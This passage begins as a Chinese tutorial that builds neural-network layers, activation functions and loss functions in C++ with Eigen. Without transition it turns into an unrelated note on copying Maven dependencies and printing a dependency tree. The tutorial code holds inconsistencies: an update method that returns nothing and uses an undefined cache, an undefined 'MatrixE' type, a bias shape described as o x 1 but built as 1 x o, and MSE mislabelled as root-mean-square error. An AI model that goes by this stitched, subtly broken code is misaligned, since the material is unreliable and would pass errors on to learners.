    \(\partial \text{LOSS}/\partial \hat{\text{y}}\)

  2. grad = sigmoid.backward(grad)
    :首先计算梯度
    \(\partial{\hat{\text{y}}/\partial \text{z}}\)
    ,其中,计算所需的
    \(\text{z}\)
    从缓存中读取。最后,将梯度与输入的梯度相乘,得到梯度
    \(\partial \text{LOSS}/\partial \text{z}\)

  3. grad = linear.backward(grad)
    :首先计算梯度
    \(\partial\text{z}/\partial \text{w}\)
    ,计算所需的
    \(X\)
    从缓存中读取。最后,将梯度与输入梯度相乘,得到梯度
    \(\partial \text{LOSS}/\partial \text{w}\)

参数更新


参数更新的示例代码如下:

MatrixXd Layer::update(double learning_rate) {
    w -= learning_rate * cache; // 采用缓存中存储的梯度进行参数更新
}

在本例中,只有
linear
是具有参数的层,因此在更新的时候只用调用
linear

update()
方法即可。

总结


在本小节中,我们以
逻辑回归
为例,初步探索了神经网络的构建方法,即:定义层类型,用以表示网络的每一层(或组件),在计算过程中,分为
前向传播
(推理及评估模型误差),
反向传播
(计算梯度)以及
参数更新
三个步骤。

该实现方法很好的将复杂的计算拆分为了多个独立的单元,便于较大体量的算法的实现、并且提供了极好可维护性。同时,对内存
cache
的合理使用,也极大的简化了调用过程,并提升了算法效率。

网络框架构建


神经网络是由多个组件一层层组件起来的,或者说组建神经网络的基本单元是

Layer
,在本文中,将详细讲述怎么设计并实现

单元。

层的定义


层通常包含三种基本方法(行为):
前向传播(forward)

反向传播(backward)

参数更新(update)

对于每种行为,不同类型的层所对同一操作所执行的行为不同,例如,在前向传播过程中,线性层对输入进行线性映射,激活函数则将每一元素映射至
\([0,1]\)

C++中,允许在基类中定义方法,在派生类中重载这些方法,并在运行时根据实际类型来调整调用的函数。这种方法称之为
多态性(Polymorphism)

下面给出了层的定义(基类)。

class Layer {
public:
	virtual MatrixXd forward(const MatrixXd& input) = 0;
	virtual MatrixXd backward(const MatrixXd& prevGrad) = 0;
	virtual void update(double learning_rate) = 0;
	virtual ~Layer() {}
};

在层的声明中,定义了层的三种基本方法。

线性层


对于线性层,其包含两个
参数
:权重矩阵
W
,和偏置
b
。其包含三个内存,一个用于存储输入
inputCache
,另外两个用于存储参数的变化量
dW

db
(一般是损失函数关于参数的梯度)。下面给出代码:

class Linear : public Layer {
private:
    // para
    MatrixXd W;
    MatrixXd b;
    // cache
    MatrixXd inputCache;
    MatrixXd dW;
    MatrixXd db;

public:
    Linear(size_t input_D, size_t output_D);

    MatrixXd forward(const MatrixXd& input) override;
    MatrixXd backward(const MatrixXd& prevGrad) override;
    void update(double learning_rate) override;
};

构造函数
构造函数用于初始化线性层的参数和缓存变量,代码如下:

Linear::Linear(size_t input_D, size_t output_D) 
    : W(MatrixE::Random(input_D, output_D)), b(MatrixE::Random(1, output_D)) 
{
    inputCache = MatrixE::Constant(1, input_D, 0);
    dW = MatrixE::Constant(input_D, output_D, 0);
    db = MatrixE::Constant(1, output_D, 0);
};
  1. 构造函数的参数


    • input_D
      :输入特征的维度,即输入数据的特征数量。
    • output_D
      :输出特征的维度,即线性层输出的特征数量。
  2. 成员初始化列表

    将参数
    W

    b
    初始化为指定尺寸的随机矩阵。随机矩阵中的元素通常从标准正态分布中采样。

  3. 缓存变量的初始化

    将缓存变量初始化为与其尺寸匹配的全零矩阵。对于输入缓存,由于输入尺寸未知,仅知其特征维度,故初始化时设定其尺寸为1。

前向传播
下述为线性层前向传播计算的代码实现。

MatrixXd ML::Linear::forward(const MatrixXd& input) {
    // 缓存输入
    this->inputCache = input;
    // 返回计算结果
    return (input * W) + b.replicate(input.rows(), 1);
}

在计算过程中,
input * W
表示矩阵乘法,其中
input

m x n
矩阵,
W

n x o
矩阵,结果为
m x o
矩阵,表示线性变换的结果。

b
是一个
o x 1
的偏置向量,通过
b.replicate(input.rows(), 1)
将其沿行方向复制
m
次,生成一个
m x o
的矩阵,为每个样本添加相同的偏置项。

最终,将线性变换结果与偏置矩阵相加,得到输出矩阵。

反向传播
下述为线性层方向传播计算的代码实现。

MatrixXd ML::Linear::backward(const MatrixXd& prevGrad) {
    // 计算关于权重的梯度
    this->dW = inputCache.transpose() * prevGrad;
    // 计算关于偏置的梯度
    this->db = prevGrad.colwise().sum();

    // 计算并返回关于输入的梯度
    return prevGrad * W.transpose();
}

该函数接受前一层的梯度
prevGrad
,并根据缓存的输入矩阵
inputCache
计算损失关于本层参数的偏导(分别计算
dW

db
)并保存以用于参数更新。最后,返回关于输入的梯度矩阵。

激活函数


激活函数是比较特殊的层函数,其不包含任何的参数信息,因此,其无需进行参数更新,或者说参数更新函数不做任何操作;进一步的,激活函数也不需要在缓存中存储梯度信息,因为它无需更新参数。

下面给出较经典的三种激活函数的定义,它们都是从
Layer
中派生的:

ReLU
激活函数

class ReLU : public Layer {
private:
    MatrixXd inputCache;

public:
    MatrixXd forward(const MatrixXd& input) override;
    MatrixXd backward(const MatrixXd& prevGrad) override;
    void update(double learning_rate) override {}
};

MatrixXd ReLU::forward(const MatrixXd& input) {
    inputCache = input;
    return input.unaryExpr([](double x) { return x > 0 ? x : 0; });
}

MatrixXd ReLU::backward(const MatrixXd& prevGrad) {
    MatrixXd derivative = inputCache.unaryExpr([](double x) { return x > 0 ? 1 : 0; }).cast<double>().matrix();
    return prevGrad.cwiseProduct(derivative);
}

Sigmoid激活函数

class Sigmoid : public Layer {
private:
    MatrixXd inputCache;

public:
    MatrixXd forward(const MatrixXd& input) override;
    MatrixXd backward(const MatrixXd& prevGrad) override;
    void update(double learning_rate) override {}
};

MatrixXd Sigmoid::forward(const MatrixXd& input) {
    inputCache = input;
    return input.unaryExpr([](double x) { return 1.0 / (1.0 + exp(-x)); });
}

MatrixXd Sigmoid::backward(const MatrixXd& prevGrad) {
    MatrixXd sigmoidOutput = inputCache.unaryExpr([](double x) { return 1.0 / (1.0 + exp(-x)); });
    return prevGrad.cwiseProduct(sigmoidOutput.cwiseProduct((1 - sigmoidOutput.array()).matrix()));
}

tanh激活函数

class Tanh : public Layer {
private:
    MatrixXd inputCache;

public:
    MatrixXd forward(const MatrixXd& input) override;
    MatrixXd backward(const MatrixXd& prevGrad) override;
    void update(double learning_rate) override {}
};

MatrixXd Tanh::forward(const MatrixXd& input) {
    inputCache = input;
    return input.unaryExpr([](double x) { return tanh(x); });
}

MatrixXd Tanh::backward(const MatrixXd& prevGrad) {
    MatrixXd tanhOutput = inputCache.unaryExpr([](double x) { return tanh(x); });
    return prevGrad.cwiseProduct((1 - tanhOutput.cwiseProduct(tanhOutput).array()).matrix());
}

损失函数

损失函数是一种特殊的层,其行为与普通的层相似,但在前向传播和反向传播过程中与普通的层存在较大差异:

  • 前向传播
    :从使用来看,如果仅需使用网络,而无需评价,或者训练网络,前向传播过程中,无需调用损失函数。从输入个数来看,普通层函数只需要传入上一层的输出即可,而损失函数需要上一层的输出(也即:网络的预测结果)和真实结果两个参数。
  • 反向传播
    :损失函数是反向传播的起点,其接受预测结果和真实结果作为其输入,返回梯度矩阵,而其它矩阵则是输入上一层的梯度矩阵,返回本层的梯度矩阵。

由于损失函数与普通层的差异,一般单独定义损失函数的调用接口(基类),代码如下:

class LossFunction {
public:
    virtual double computeLoss(const MatrixXd& predicted, const MatrixXd& actual) = 0;
    virtual MatrixXd computeGradient(const MatrixXd& predicted, const MatrixXd& actual) = 0;
    virtual ~LossFunction() {}
};

下文分别以均方根误差和对数损失为例,给出代码,供读者参考学习

MSE均方根误差

class MSELoss : public LossFunction {
public:
    double computeLoss(const MatrixXd& predicted, const MatrixXd& actual) override;
    MatrixXd computeGradient(const MatrixXd& predicted, const MatrixXd& actual) override;
};

double MSELoss::computeLoss(const MatrixXd& predicted, const MatrixXd& actual) {
	MatrixXd diff = predicted - actual;
	return diff.squaredNorm() / (2.0 * predicted.rows());
}

MatrixXd MSELoss::computeGradient(const MatrixXd& predicted, const MatrixXd& actual) {
	MatrixXd diff = predicted - actual;
	return diff / predicted.rows();
}

对数损失函数

class LogisticLoss : public LossFunction {
public:
    double computeLoss(const MatrixXd& predicted, const MatrixXd& actual) override;
    MatrixXd computeGradient(const MatrixXd& predicted, const MatrixXd& actual) override;
};

double LogisticLoss::computeLoss(const MatrixXd& predicted, const MatrixXd& actual) {
	MatrixXd log_predicted = predicted.unaryExpr([](double p) { return log(p); });
	MatrixXd log_1_minus_predicted = predicted.unaryExpr([](double p) { return log(1 - p); });

	MatrixXd term1 = actual.cwiseProduct(log_predicted);
	// MatrixXd term2 = (1 - actual).cwiseProduct(log_1_minus_predicted);
	MatrixXd term2 = (1 - actual.array()).matrix().cwiseProduct(log_1_minus_predicted);

	double loss = -(term1 + term2).mean();

	return loss;
}

MatrixXd LogisticLoss::computeGradient(const MatrixXd& predicted, const MatrixXd& actual) {
	MatrixXd temp1 = predicted - actual;
	MatrixXd temp2 = predicted.cwiseProduct((1 - predicted.array()).matrix());

	return (temp1).cwiseQuotient(temp2);
}

1.业务场景

有些时候,我需要知道某个jar包依赖了哪些包,这个时候可以通过maven 依赖插件将依赖的包copy出来。

2.具体做法

我们可以创建一个空的项目,增加 pom.xml 文件,增加我们需要的依赖包。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>com.redxun</groupId>
        <artifactId>jpaas-cloud</artifactId>
        <version>6.8.5-SNAPSHOT</version>
    </parent>

    <groupId>com.study</groupId>
    <artifactId>ActivitiDep</artifactId>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.activiti</groupId>
            <artifactId>activiti-engine</artifactId>
            <version>7.1.0.2.M7</version>
        </dependency>
        <dependency>
            <groupId>org.activiti</groupId>
            <artifactId>activiti-image-generator</artifactId>
            <version>7.1.0.2.M7</version>
        </dependency>
        <dependency>
            <groupId>org.activiti</groupId>
            <artifactId>activiti-spring-boot-starter</artifactId>
            <version>7.1.0.2.M7</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-dependency-plugin</artifactId>
                <!-- 复制依赖 -->
                <executions>
                    <execution>
                        <id>copy-dependencies</id>
                        <phase>package</phase>
                        <goals>
                            <goal>copy-dependencies</goal>
                        </goals>
                        <configuration>
                            <!-- 依赖包 输出目录 -->
                            <outputDirectory>${project.build.directory}/lib</outputDirectory>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

添加这个后,我们执行 maven 的 package打包命令,maven就会将我们需要的JARcopy到指定的目录下面。

3.输出依赖树

有些时候,我需要输出依赖的结构,那么可以使用下面的命令进行输出

mvn  dependency:tree > dep.txt

输出的内容如下:

[INFO] --- maven-dependency-plugin:3.0.2:tree (default-cli) @ ActivitiDep ---
[INFO] com.study:ActivitiDep:jar:6.8.5-SNAPSHOT
[INFO] +- org.activiti:activiti-engine:jar:7.1.0.2.M7:compile
[INFO] |  +- org.activiti.api:activiti-api-runtime-shared:jar:7.1.0.2.M7:compile
[INFO] |  +- org.activiti.core.common:activiti-project-model:jar:7.1.0.2.M7:compile
[INFO] |  +- org.activiti:activiti-bpmn-converter:jar:7.1.0.2.M7:compile
[INFO] |  +- org.activiti:activiti-bpmn-model:jar:7.1.0.2.M7:compile
[INFO] |  +- org.activiti:activiti-process-validation:jar:7.1.0.2.M7:compile
[INFO] |  +- org.apache.commons:commons-email:jar:1.5:compile
[INFO] |  |  \- com.sun.mail:javax.mail:jar:1.5.6:compile
[INFO] |  |     \- javax.activation:activation:jar:1.1:compile
[INFO] |  +- org.mybatis:mybatis:jar:3.5.1:compile
[INFO] |  +- org.springframework:spring-beans:jar:5.2.15.RELEASE:compile
[INFO] |  +- org.springframework:spring-core:jar:5.2.15.RELEASE:compile
[INFO] |  |  \- org.springframework:spring-jcl:jar:5.2.15.RELEASE:compile
[INFO] |  +- de.odysseus.juel:juel-api:jar:2.2.7:compile
[INFO] |  +- de.odysseus.juel:juel-impl:jar:2.2.7:compile
[INFO] |  +- de.odysseus.juel:juel-spi:jar:2.2.7:compile
[INFO] |  +- com.fasterxml.jackson.core:jackson-core:jar:2.11.4:compile
[INFO] |  +- com.fasterxml.jackson.core:jackson-annotations:jar:2.11.4:compile
[INFO] |  +- com.fasterxml.jackson.core:jackson-databind:jar:2.11.4:compile
[INFO] |  +- joda-time:joda-time:jar:2.10.5:compile